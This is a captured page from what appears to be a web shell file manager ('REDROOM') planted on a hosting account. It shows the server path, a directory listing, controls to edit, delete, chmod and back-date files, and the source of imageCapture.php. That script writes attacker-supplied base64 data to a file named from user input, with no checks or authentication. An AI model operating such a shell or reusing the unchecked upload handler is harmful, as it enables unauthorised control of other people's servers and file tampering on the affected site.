REDROOM
PHP 8.1.33
Path:
Logout
Edit File
Size: 472 B
Close
/home/jambtst2015/public_html/ckeditor_3/capture/imageCapture.php
Text
Base64
<?php if($_POST["save"]){ $type = $_POST["type"]; if($_POST["name"] and ($type=="JPG" or $type=="PNG")){ $img = base64_decode($_POST["image"]); $myFile = "img/".$_POST["name"].".".$type ; $fh = fopen($myFile, 'w'); fwrite($fh, $img); fclose($fh); echo "http://localhost/kcue/ckeditor/capture/img/".$_POST["name"].".".$type; } }else{ header('Content-Type: image/jpeg'); echo base64_decode($_POST["image"]); } ?>
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 1 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
img
DIR
-
drwxr-xr-x
2024-11-22 17:53:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
error_log
5.49 KB
lrw-r--r--
2025-11-03 06:38:41
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
imageCapture.jsp
1.12 KB
lrw-r--r--
2024-11-22 17:53:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
imageCapture.php
472 B
lrw-r--r--
2024-11-22 17:53:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).